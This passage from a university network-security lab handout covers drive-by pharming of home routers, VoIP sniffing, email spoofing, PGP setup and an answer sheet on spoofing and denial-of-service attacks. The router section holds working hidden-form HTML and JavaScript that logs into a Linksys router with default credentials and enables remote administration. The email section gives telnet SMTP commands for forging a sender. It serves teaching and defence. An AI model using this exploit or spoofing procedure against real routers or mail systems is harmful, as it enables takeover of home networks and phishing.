1. Most of these home routers come set up with factory default usernames and passwords. For example, nearly all Linksys products use a user name of “admin” and a password of “admin”.

2. The web-based management consoles for these products generally use HTML forms, javascript and the POST method to transmit data back to the router. This is easily spoofed by javascript code on a third party web page.

3. Default DHCP setups usually make the router’s local IP address relatively easy to guess. Normally, it will be “192.168.0.1” or “192.168.1.1”. More reliably, if you can obtain a computer’s local IP address to be “192.168.a.b”, the router is almost always at “192.168.a.1”. Code exists to extract a computer’s local IP address via web page code. See http://reglos.de/myaddress/MyAddress.html(Ref 4 in the paper) for an example.

4. Many routers will allow remote management from the WAN side of the router. While this is not enabled by default, it does exist.

Proof of Concept Example

1. Install and start Apache on a Linux machine. For this example, you must enable Server Side Includes (SSI). To do so, edit httpd.conf as follows:

a. Find the line “Options <arguments>” and append “Includes” to the end of the <arguments>. This is the “Options Directive”

b. Find the section talking about Server Side Includes and uncomment the lines:

i. AddType text/html .shtml ii. AddOutputFilter INCLUDES .shtml

c. Restart the webserver using “/sbin/service httpd restart” or “./bin/apachectl restart” from the apache directory.

2. Copy the following files to the www root directory (either /var/www/html/ or ~/apache2/htdocs/ depending on the version of Apache installed): index.html hidden_panel.html main_panel.shtml “Hidden_panel.html” actually contains the code to do the work. The other two files simply hide the panel (rather simplistically) so that it is not obvious to the victim. The “.shtml” file is what requires the SSI to be activated. It will display the router’s IP address.

3. Reset the home router to factory defaults using the reset button.

60

4. Hook up a computer (the “local computer”) to the LAN side of the router. Hook up the MININET to the WAN side of the router.

5. On your host machine, open the network settings, select eth0 and choose “edit”. 6. Change the IP address to use DHCP. Don’t worry, it will save the old info. 7. Save settings. 8. Restart the networking by using service network restart 9. Open a web browser on the local computer and point it to the router default IP

address. This should be 192.168.0.1 or 192.168.1.1. Enter the default Linksys username and password. (“admin” and “admin”) Navigate to the appropriate settings page and change the password to “password”. Ensure the local IP address is 192.168.1.1 and the username is “admin”.

10. Set the router’s WAN address to by your group’s assigned IP address (57.35.6.XXX). Enter the correct default gateway: 57.35.6.1

11. Note the web server’s IP address. 12. Point the local machine’s web browser to the web server. The SSI feature

enabled on the Apache web server allows you to see the router’s IP address. This is the IP address the web server thinks your traffic is coming from. While this feature is meant to shield your local computer’s IP address from the outside world, it provides an easy way to “find” your router.

ROUTER IP Address: __________________________________

Q1. What does the web browser appear to be doing? Q1. The web browser takes a while to load the page because it is executing code. If you look carefully, you may see the IP address of the router being loaded at the bottom of the screen. The upper frame hides the router’s admin page.

13. Go back to the router’s web management console from the local machine. Q2. What settings have changed?

Q2. The following should have changed: Logging disabled Wireless admin enabled Remote admin enabled uPnP enabled.

14. Now, from the web server, point a browser to the router IP address recorded

earlier. Enter the username and password. Q3. Can you access the router from the WAN? What kinds of things can you do now?

61

Q3. Yes. The router is accessible from the WAN with full administrative rights. You can do anything: Change password Change DNS servers for DNS spoofing Reload firmware to do nearly anything… the ultimate man in the middle attack.

Discussion

Linksys did implement a restriction on remote administration to prevent it from being enabled with the default router password. However, the password can easily be changed in the same way we edited the other settings. This same vulnerability leaves a door open for more sophisticated attacks. The paper details the use of applets to determine the router’s IP and model, and then use that information to gain access and adjust settings or even update the firmware. These two things allow for a sophisticated pharming attack that will be hard for the average user to detect. Simply changing the router’s DNS server address(es) will allow complete control over the user’s traffic. More sophisticated firmware “upgrades” could result in a permanent man-in-the-middle attack, forwarding all traffic (or only interesting traffic) to a third party. Linux based OS’s for Linksys products can be found on the internet…

Countermeasures Q4. What is the most basic (and effective) defense against this attack? Q4. Change the router’s default password! Q5. What can be done to the web browser to prevent this attack? Is this practical? Q5. One could disable javascript, activex, java, etc. This is impractical for home users because these are the things that make the internet useful! Q6. What could be done at the ISP level to detect this attack? Q6. The ISP could do several things: Monitor for and drop DNS requests that do NOT go to it’s DNS server. Block or “blackhole” known sites that may contain this code.

62

Probe customer’s home routers to ensure changed passwords. Educate customers. Q7. What could router vendors do? Q7. Enforce password changing or random password generation. Disable firmware updates from outside the local interface. Enforce SSH connections to manage their routers.

Use a method other than HTML forms / POST… perhaps a java applet with encrypted communication to the router.

Creating the hostile HTML code See: http://www.w3schools.com/html/html_forms.asp for some basic forms concepts. Basically, we are just faking a form. The paper has some good hints: http://www.cs.indiana.edu/cgi-bin/techreports/TRNNN.cgi?trnum=TR641 Another good source is a discussion thread at: http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0062.html This guy deserves a lot of credit… his post is fairly specific and predates the paper! 1. You will want to use a basic template: <form action=”http://username:password@[IPaddr]/[script]” method=”POST”> This tells the browser where the script lives and what method to use to communicate. 2. Now to pass data: <input type=”hidden” name=”[input]” value=”[value]”> Utilize one line per “parameter” on the page. 3. Use ethereal (view TCP stream) to see the communication between the form and the router. It will look like this: POST /apply.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060526 Red Hat/1.5.0.3-0.2.EL4 Firefox/1.5.0.3 pango-text

63

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://192.168.1.1/Management.asp Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/x-www-form-urlencoded Content-Length: 273 submit_button=Management&change_action=&action=Apply&PasswdModify=1&remote_mgt_https=0&http_enable=1&https_enable=1&wait_time=4&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&_https_enable=1&web_wl_filter=1&remote_management=0&upnp_enable=1 From the above, you can deduce the script name (apply.cgi) and the parameters that must be passed. These parameters are contained in the huge string at the bottom. So, to recap: Utilizing step 2 and 3, you will get the first line to be: <input type=”hidden” name=”submit_button” value=”Management”> 4. Once you have included all the lines, conclude with: </form> 5. Include this line of Javascript to execute the form: <script>document.forms[0].submit();</script> This will submit the form. Keep in mind that while your page is one “document” you get an array of forms… If you do this more than once, you need to increment the index. ____________________________________________________________________ <html> <head> </head> <body> <SCRIPT type="text/javascript"> <!-- var ip = '<!--#echo var="REMOTE_ADDR"-->'; document.write("<p><b>Your home router's IP address is "+ip+"!</b></p>"); --> </SCRIPT> <p>We could have reset your router for remote management. We have your user id, password and IP address. We can do anything to your router!</p> </body>

64

</html> <html> <head> <!--<META http-equiv="refresh" content="1; url=main_panel.shtml">--> </head> <frameset rows="0%,100%"> <frame src="hidden_panel.html"> <frame src="main_panel.shtml"> </frameset> </html> <html> <!--Copyright Stephen Thompson and Scott Durr, 2007 for ECE4112 at Georgia Tech--> <!--Based on research paper DRIVE BY PHARMING by Sid Stamm, IU Bloomington; Zulfikar Ramzan, Symantec; and Markus Jakobsson, IU Bloomington--> <body> <!--This works, but redirects the page: dead giveaway. Hide it in a form.--> <script src="http://admin:password@192.168.1.1/"></script> <!-- Do it again. The following is much more sinister... --> <!--The following should have the format "http://<username>:<password>@<ip>/<script>"--> <form action="http://admin:password@192.168.1.1/apply.cgi" method="POST"> <input type="hidden" name="submit_button" value="Management"> <input type="hidden" name="change_action" value=""> <input type="hidden" name="action" value="Apply"> <input type="hidden" name="PasswdModify" value="1"> <input type="hidden" name="remote_mgt_https" value="0"> <input type="hidden" name="http_enable" value="1"> <input type="hidden" name="https_enable" value="1"> <input type="hidden" name="wait_time" value="4"> <input type="hidden" name="http_passwd" value="d6nw5v1x2pc7st9m"> <input type="hidden" name="http_passwdConfirm" value="d6nw5v1x2pc7st9m"> <input type="hidden" name="_http_enable" value="1"> <input type="hidden" name="_https_enable" value="1"> <input type="hidden" name="web_wl_filter" value="0"> <input type="hidden" name="remote_management" value="1"> <input type="hidden" name="upnp_enable" value="1"> </form>

65

<script>document.forms[1].submit();</script> <!--The following should have the format "http://<username>:<password>@<ip>/<script>"--> <form action="http://admin:password@192.168.1.1/apply.cgi" method="POST"> <input type="hidden" name="submit_button" value="Log"> <input type="hidden" name="change_action" value=""> <input type="hidden" name="action" value="Apply"> <input type="hidden" name="log_level" value="0"> <input type="hidden" name="log_enable" value="0"> </form> <script>document.forms[0].submit();</script> </body> </html>

66

Appendix I: SIP-Flow demonstration and secure VoIP communication using pre-shared key (PSK) VoIP communication is made possible using the SIP and RTP protocols. The SIP packets can be seen on ethereal upon initiating a VoIP conversation and upon ending the conversation. By using SIPFlow, these SIP packets can be seen in a timeline between the communicating parties graphically. RTP packets contain the voice information that needs to be re-assembled at the receiver so that the audio is played back recognizably. These packets were intercepted by a third party in lab using Ethereal output run in promiscuous mode and feeding the data into Vomit. There is an obvious need to secure the communication using techniques such as PSK. This concept seeks to use promiscuous mode of operation available in all NIC's. While the solution to encrypt SIP packets is not provided, the use of SIPFlow makes the student aware of how easily SIP communication can be traced by a third party. The enhancement also demonstrates the use of PSK to make sniffed audio data in RTP packets unrecognizable. Further improvements such as tunneling would make even SIPFlow useless.

BACKGROUND VoIP conversations that are not encrypted can be sniffed by ethereal and played back in tools such as Vomit. Basically, RTP packets generated by the source are sniffed and then captured in ethereal by a third party, and the information contained in them is used for a replay attack. In the following exercise, encryption will be used to make such an attack impossible. In addition you will learn to install a graphical analysis tool called SIPFlow to see the SIP packet flow in the network.

METHOD On each of your voip machines, type the following in the terminal if minisip is not already running: ~/runminisip Go to the file menu > Preferences > Security tab and click enable pre-shared key agreement. Use a pre-shared key such as ECE4112-GroupX Start ethereal on the virtual machine in VoIP machine 2 and capture in promiscuous mode Start SIPFlow on your host machine. In order to do this, follow the steps below: Obtain the JRE 1.4.2 file from java.sun.com. It can also be found on the NAS. Place the JRE bin file in the /opt directory

Run the self-extracting file by typing ./j2re-1_4_2_15-linux-i586.bin Press q to skip the license agreement and type Yes and hit enter type export JRE_HOME=/opt/j2re1.4.2_15/ and hit enter In /usr/bin type: mv java gnu-java and hit enter

67

Type ln –s /opt/j2re1.4.2_15/bin/java java Type export PATH=$PATH:/opt/j2re1.4.2_15/bin/ You now have Java Runtime Environment installed. Get the SIPFlow file (SIPFlow-1.4.7-linux-installer.bin) and the license file from NAS (you may have to get a new license file from the SIPFlow website if this one fails to work)

Run the installer by typing ./SIPFlow-1.4.7-linux-installer.bin Hit OK for English Accept the license and hit Forward Use the default installation directory and hit forward, forward, forward Click ok to accept the Java home directory You have now installed SIPFlow cd into /opt/Sipient/SIPFlow_Standard-1.4.7 Type ./sipflow.sh On the SIPFlow interface: Click on edit settings Click on "Both", Click ok Click the start Capture button on the top right hand corner Make a call from VoIP machine 1 to VoIP machine 2 and say something recognizable Hang up the call and stop the packet capture in ethereal on your virtual machine Stop the SIPFlow capture and take a SCREENSHOT of the packet transfer. Save the packet data in ethereal by clicking File>Save Choose a filename such as groupx-psk.dump On your virtual machine, open a terminal and type vomit –r /root/groupx-psk.dump | /root/waveplay-20010924/waveplay –S8000 –B16 –C1 Turn down the volume and hit enter Remove the preshared key from both minisip clients and uncheck enable pre-shared key and use secured outgoing calls from the Security tab. Turn off SIPFlow

QUESTIONS Q. What are the two major protocols involved in the VoIP conversation? Ans: SIP, RTP Q. What is the disadvantages of using a preshared key? Ans: Someone can intercept the key-exchange. Q. Why was it possible to see the SIP packets on SIP flow even with PSK? Ans: SIP packets are not encrypted by PSK, only RTP packets are encrypted. Q. How was the VoIP call initiated and terminated (hint: use SIPFlow)? Ans: Initiated with a three way handshake, and optional Trying message. Invite – OK – ACK.

68

Terminated using a BYE packet with an OK response. Q. What does SIPFlow report for the duration of the conversation? Ans: 2-60secs

FIGURES

Enabling PSK in MiniSIP

Conversation as seen by SIPFlow

69

70

Appendix J: Email Spoofing and current solutions to prevent it. This particular addition shows how an attacker can spoof emails by following a few simple steps. It is an easy concept and does not require any installations. We just have to make sure that telnet is installed on our machine and is up and running. Before we start with the steps of email spoofing let us look at the basic process that happens when we send an email.

Say if Alice in organization A (alice@a.org) wants to send an email to Bob in organization B (bob@b.org) the basic flow of the email happens as follows: 1) Alice writes the email and presses the send button. 2) The email goes to the SMTP server (smtp.a.org) at organization A. 3) The SMTP server does a DNS lookup for Mail Exchange server of organization B. 4) It gets a response for the mail exchange server of organization B from ns.b.org . 5) The SMTP server then sends the email to the mail exchange server at organization B (mx.b.org) 6) Bob at organization B retrieves the email using POP3. SMTP – Simple Mail Transfer Protocol POP3 – Post Office Protocol 3 EMAIL SPOOFING STEPS: Let us assume an attacker wants to send spoofed email to nikunj.n@gatech.edu with senders name as nikunjnemani@gmail.com.

71

The First step is to find Mail exchange Servers of “Gatech” since our victim’s address is at Gatech.edu Open a new terminal on your linux machine [root@localhost~]# Type this command at the promt: [root@localhost~]#nslookup This is a Name Server Lookup program. Output: > //This is command promt where following //commands will be written Type this command at the promt: >Set type=MX MX stands for Mail Exchange. And will return Host names and IP address for MX servers Output: > The MX property is set and now we can proceed further.

72

Type this command at the prompt: >gatech.edu This is domain of victim nikunj.n@gatech.edu Output:

We are interested in the Mail Exchange Servers in the Non-authoritative answer. We can use any one of the following in our next step: mx1.gatech.edu mx2.gatech.edu mx3.gatech.edu mx4.gatech.edu mx5.gatech.edu

73

Open another terminal and type this command: telnet mx3.gatech.edu 25 This is Mail Exchanger. Output:220 delivarator7.gatech.edu ESMTP 2) Type this in console: helo nikunj This is to initiate protocol Output:250 delivarator7.gatech.edu 3) Type this in console: mail from:<nikunjnemani@gmail.com> This is senders address OutBox:250 OK 4)Type this in console: rcpt to:<nikunj.n@gatech.edu> Here the domain of receiver must be gatech only... other domains like gmail, yahoo and hotmails will be rejected. Output: 250 OK 5)Type this in console: data This indicates that data will start from next line. Output: 354 End data with <CR><LF>.<CR><LF> 6) Type this in console: Subject: Hiiii From: Nikunj Nemani <nikunjnemani@gmail.com> To: Nikunj Nemani <nikunj.n@gatech.edu> It is a spoofed mail Please be careful To end da msg give a "FULLSTOP" once on a line . Output: 250 Ok: Queued as 633851F 7) Type this in console: quit This will send message in a queue and your message will reach destination. Output: 221 bye Connection closed by foreign host. After all these steps your terminal window should look something like this:

74

And an email will be received in the inbox of the recipient.

75

What are the specific vulnerabilities this concept exploits and what are the defenses one can use against the vulnerabilities? ANS: This addition exploits the following vulnerabilities: Email spoofing uses standard email (SMTP) functions. Spoofed email uses the fact that the FROM and MAIL FROM email headers are largely arbitrary text. Since email programs can use any text in the "MAIL FROM" part of an SMTP email, it is very easy to forge the "from" address on a given email. The current defenses against these vulnerabilities can be stated as follows: 1) Filtering – In this method at the time the “Helo” message is sent, a DNS lookup must be done to check if the sending domain name is correct and is not being forged. If it is incorrect the dialogue must be immediately stopped and it should be reported as spam. However this method has its drawbacks which can be enumerated as follows: a) Performing a DNS lookup for every incoming email would mean a high overhead of DNS lookup. b) Also this can fail if the DNS itself is compromised.

76

2) Blacklisting / Whitelisting – In this method a list of various domains is maintained. When the “Helo” message comes in the IP address of the MTA is checked in this DNS based list. However this method has its drawbacks which can be enumerated as follows: a) There is no proper method as to how should these lists be populated. b) Also such lists can be reputation based. c) Finally, it can be possible for hackers to modify the lists. 3) Domain Keys – This method is implemented by Yahoo. In this method a code is embedded in the message header and is called a key. The recipient mail server would check the sender's Domain Name Server to see if it had a public key to decode the private key. If it does, the system would consider the sender authentic and pass the message through. If not, the system would block the message as junk email. References:

1) http://www.scribd.com/doc/13055/Email-spoofing-What-is-it-and-how-does-one-deal-with-the-problem

2) http://emailuniverse.com/list-news/?id=957 3) http://www.datastronghold.com/security-articles/general-security-articles/how-to-

spoof-an-email-without-software.html

77

Appendix K: Secure Email with PGP This addition covers how to set up an email server and email clients that implement Pretty Good Privacy. This will allow uses to digitally sign email messages, and send secret, encrypted messages. Since standard email is insecure and can be intercepted using packet sniffers and other means, this addition covers how to use email encryption to secure email messages and attachments.

BACKGROUND Email is a valuable and useful communication tool used by many people for social communication, education, and business. Unfortunately, since email is sent in plaintext, it is vulnerable to interception. By using Pretty Good Privacy (PGP), email can be encrypted and decrypted with a system of public and private keys. A public and private key pair is generated by a user using the GNU privacy tools in windows, or the GPG in linux/unix environments. A user can openly share his/her public key, which is used along with the sender’s private key to encrypt a message for an intended recipient, who then uses his/her own private key and the sender’s public key to decrypt the received message. We will set up a mail server on the host machine, and then set up Mozilla Thunderbird email clients using the GNU WinPT package and the Enigmail add-on.

METHOD AGIGEN Mail Server • Copy the axigen-5.0.0.i386.rpm.tar.gz file to your host machine. • Extract the file with the command:

o tar xvzf axigen-5.0.0.i386.rpm.tar.gz • Install Axigen with the following commands:

o cd axigen-5.0.0 o rpm -ivh axigen.5.0.0-1.i386.rpm

• As the installation states, we must first run the configuration wizard. Type: o /opt/axigen/bin/axigen-cfg-wizard

• Enter “password” as admin’s password, and use tab to navigate the fields and buttons. Click Next.

• Primary Domain should be “ece4112groupX”, where X is your group number. • Leave the Domain Location as the Default, and enter “password” for the Postmaster’s

account password. Hitting enter will move to the next button. Hit enter to move to the next screen

• On the Alias Configuration windows, select all three checkboxes. Move between the items with the arrow keys, and select the check with enter. Click next.

• Make sure that your eth0 IP address shows up on the Select WebAdmin Interface screen. If it doesn’t use Ifconfig to set the address, and restart the config utility. Otherwise note that the webadmin interface port is 9000 and click OK.

• Click OK on the SMTP interface screen. • Select all three options on the Services Selection screen, and click next.

78

• Use the default settings where selecting interfaces for POP3, IMAP, and Webmail. Click next.

• In the relay configuration, use the default settings. Click next. • Choose “Yes” for the sendmail wrapper configuration. • Click “OK” once the all pending operations have completed • CONGRATULATIONS!!! You’ve installed Axigen! • Start the service with the command

o /etc/init.d/axigen start • Access the Axigen config webpage in a browser @ http://57.35.6.XXX:9000, where

XXX is the last octet of your group’s RH4WS Host Machine. • Type username “admin” and password “password”. • In the interface, click “Manage Accounts”, and then on the page that opens, click

“ece4112groupX”, then Click the “Add Account” Button near the top of the page. • Enter one of your group member’s names for the First Name, Last Name, and account

name, and pick a personal password. Click Quick Add. • Create an account for the second group member as well. • Now AXIGEN is set up, and ready for your to send messages through any standard

mail client! Log out of the webpage, and close the browser. WinPT tools - GNU PGP tools for Windows. • Copy the winpt-install-1.0.rc2.exe from the NAS to one of your WinXP VMs • Double click the file to open it • Select English as the language • Click “Next” • Click “I agree” • Choose the default install location • Click “Next” • Click “Next” • Click “Next” • Click “Install” • If you have trouble installing the first time, please try again. This is a known issue. • Repeat these steps and install another copy of WinPT tools on another WinXP VM. Thunderbird - Mozilla Mail Client for Windows and Enigmail Plugin - PGP plugin for Thunderbird • Copy the “Thunderbird Setup 2.0.0.6.exe” file to one the WinXP VMs that has

WinPT tools on it. • Copy the enigmail-0.95.5-tb+sm.xpi to the WinXP VM • Double click the Thunderbird file to launch the installer. • Click “Next” • Click “I Accept” • Choose “Standard Installation”, and click “Next” • Copy the enigmail-0.95.5-tb+sm.xpi to the WinXP VM • Launch Thunderbird, Click the “Tools” menu, and click “Account Settings” • Click the “Add Account” button • Choose “Email Account”, Click Next

79

• Enter the name of the First email user you created in Axigen • Enter the email address as “accountName@ece4112groupX”,

o If your account name was Akshaip, and you are in group6, your email should be “akshaip@ece4112group6”.

o Click Next • Select “POP”, and enter your host machine’s address in the Incoming Server field,

click next • For incoming user name, enter your user’s account name, click next • Accept the default for account name, click next • Click Finish • Close the Account Settings dialog. • Click the “Tools” menu, click “Add-ons” • Click the “Install” button • Locate the Enigmail xpi file you copied earlier, click OK • Click “Restart Thunderbird Button” • Send an email to yourself to make sure you have connectivity to the server. Use the

email address you entered in the Thunderbird Account Setup. • REPEAT these steps for the other WinXP VM, but set up an account for the other

group member. Setting up PGP Keys • Double click on the @’key’ icon (the WinPT icon) in the windows system tray • Click the Key menu, and click Generate Key • Now, choose the Key type as the default • Enter the same First Name and Last Name you set up in your email account in the

User Name box • Enter the email address from thunderbird • For the Passphrase, choose something personal. • Click Start, and while the Key Generation process dialog is active, make sure to move

the mouse around and press random keyboard keys to help generate entropy for the random number generator.

• Click No, so that you do not backup your keyrings. • Click yes to reload your keycache • Notice that a pub/sec Key has been created for your account • REPEAT FOR THE OTHER GROUP MEMBER ON THE OTHER WINXP VM. Exchanging PGP Keys • From the first WinXP VM your set up: • Open WinPT tools from the system tray icon • Right Click on your pub/sec key, and select Copy Key to Clipboard • Close WinPT, return to Thunderbird • Send a mail to your second user, with Subject “My Public Key” • Paste the Public Key into the body of the message • Send the message • Switch to the other WinXP VM • In Thunderbird, Click Get Mail

80

• Copy everything in the mail From ---Begin PGP Public Key Block--- to ---End PGP Public Key Block--- to the clipboard

• In the WinPT tools, launched from the system tray • Click the Edit menu, then select Paste • Choose Import, Click OK • Now send the public from this machine to the first WinXP VM, and add that key to

the WinPT on that machine. Sending an encrypted message • From either VM, open thunderbird, and begin composing an email from one group

partner to the other • Remember, this message is confidential, so include some secretive text. Don’t worry,

it’s safe with PGP • Click the OpenPGP icon, and then Sign Message • Choose Yes to configure OpenPGP security • Click Enable OpenPGP support for this identity • Click OK • Click the OpenPGP icon, and choose encrypt message • Click Send • Switch to the other VM, and view the received, decrypted message

QUESTIONS Q1. Take a screenshot of the received decrypted message Q2. What is the difference between encryption and signing? Q3. Which PGP key should be closely guarded?

ANSWERS ANS1.

81

ANS2. A signed message is one guaranteed to be from the user that sent it. Encryption sends the message in garbled text so that its contents cannot be read. ANS3. The Private Key.

82

Answer Sheet Lab 3 Group Number: _______________ Member Names: _________________________ _________________________

Section 1: MAC address spoofing Q1.1: What would happen if two hosts on the same network had the same MAC address? Q1.2: Although it is relatively simple to forge a MAC address, it is very difficult to determine the MAC address of a host on a subnet to which you do not already have access. Why is this true?

Section 2: IP spoofing from Windows Q2.1. What machines appear to be involved in the daytime-udp query? Who is querying whom, and who is answering whom? Q2.2. For every packet injected, how many appear in Ethereal? Explain. Q2.3. Note the destination IP address of your spoofed packets. How do other groups working on this lab affect the attack? (Note: this is known as a smurf attack)

83

Q2.4. Was this an example of blind or non-blind IP spoofing? Why?

Section 3: IP spoofing from a Linux machine 3.1 UDP Spoofing Q3.1.1. Copy a sample line from your Ethereal output. What machines appear to be the source and destination of this transmission? Q3.1.2. What code changes were necessary? Q3.1.3. Copy the ASCII representation (bottom right display from Ethereal) of your created packet. 3.2 TCP Spoofing Screenshot #1 – Take a screen capture of your ethereal output. Q3.2.1 What code changes were necessary?

84

Screenshot #2 – Take a screen capture that shows the highlighted packet.

Section 4: DNS Spoofing and Denial of Service Q4.1: What are the results of trying to reach Microsoft’s Windows Updater? Q4.2: In the case of our local network, you may have had to try this several times. Why? (Hint: Observe transactions in Ethereal) Q4.3: Copy the output of DNSSpoof Q4.4: Keeping in mind that this attack is only possible if executed between a host and its DNS server, state three instances in which a hacker could use this attack. (You may wish to consider this with respect to the Blaster worm, or with respect to the Georgia Tech LAWN’s logon page).

Section 5: Monitoring for Spoofing Attacks Q5.1: Copy the arpwatch output. Q5.2: Copy the new arpwatch output.

85

Section 6: TCP Spoofing and Denial of Service Screenshot #3 – Ethereal output Screenshot #4 – Ethereal output with spoofed RST packets. Q6.1: Describe the tcpkill output. What are the numbers represented in the output? (Hint: you may want to correlate these messages with the Ethereal output) Q6.2: Although this is a simple attack, it cannot be used by a hacker to arbitrarily break Internet connections. Why not? Q6.3: E-mail spoofing occurs when the header of an e-mail message is changed so that the message appears to have originated from somewhere else. This is a technique that most spammers use. Why is e-mail spoofing possible? (Hint: look at the protocols that allow e-mail communication)

86

Section 7: NMAP Spoofing and DOS Attacks Q7.1 True or False: The scan appears to originate from proxy Windows machine and does not appear to come from the real originator of the scan. Q7.2: True or False: If we performed this command with an extremely large list of addresses and used the –T5 switch to create high volumes of traffic this would result in a DOS attack.

Section 8: Denial of Service Attacks Q8.1: Were you able to execute commands from your first FTP session? Were you able to execute commands in your second FTP session? Why or why not? Q8.2: Describe your Ethereal output. What sources appear to be sending data to your FTP server? How is your FTP server reacting? Are its responses consistent? Q8.3: Were you able to create an FTP session? Why or why not? Q8.4: Describe your Ethereal output

87

Q8.5: Describe your Ethereal output. Q8.6: What is the rate of UDP traffic generation in Mbps? Q8.7: Assume that a victim server has a 1Gbps connection to the network. In a distributed DoS attack, how many of your traffic generators would be necessary to completely overwhelm this connection? (Note: In a real world attack nowhere near this many is required, as this is an extremely inefficient generator and networks may fail from a buildup of collisions at as little as 60% utilization). Q8.8: Were you able to execute commands from your first FTP session? Were you able to execute commands in your second FTP session? Why or why not?

Q8.9: Where you able to establish the FTP connection? Why or why not?

Q8.10: Can you see any difference in the TCP packets? (Hint: Look at the sequence number)

Q8.11: Compare and contrast the relative effectiveness of the three attacks including a comparison of the first attack before and after the defense against the first attack was deployed.

88

Section 9: Email Spoofing 9.1 Sendmail Spoofing Screenshot #5 Attach a screenshot of the above session Screenshot #6 Take a screenshot of pine showing both the messages 9.2 Spoofing Emails through Remailers No required answers

Section 10: VOIP Have your TA check you of for the VoIP conversation accomplished. TA CHECKOFF: ______________________ DATE:___________ Screenshot 7: Minisip receiving phone call. Screenshot 8: Ethereal displaying SIP Invite and Ack. Question 10.1: Were vomit and waveplay able to playback the file? Question 10.2: How is the quality of the playback compared to that of the actual

89

conversation?

90

How long did it take you to complete this lab? Was it an appropriate length lab? What corrections and or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make minor corrections/suggestions. General suggestions like add tool xyz to do more capable scanning will not be awarded extras points even if the statement is totally true. Specific text that could be cut and pasted into this lab, completed exercises, and completed solutions may be awarded additional credit. Thus if tool xyx adds a capability or additional or better learning experience for future students here is what you need to do. You should add that tool to the lab by writing new detailed lab instructions on where to get the tool, how to install it, how to run it, what exactly to do with it in our lab, example outputs, etc. You must prove with what you turn in that you actually did the lab improvement yourself. Screen shots and output hardcopy are a good way to demonstrate that you actually completed your suggested enhancements. The lab addition section must start with the form “laboratory Additions Cover Sheet” which may be found on the class web site.

Turn-in Checklist

Answer Sheet 4 attachments of MAC addresses 8 screen shots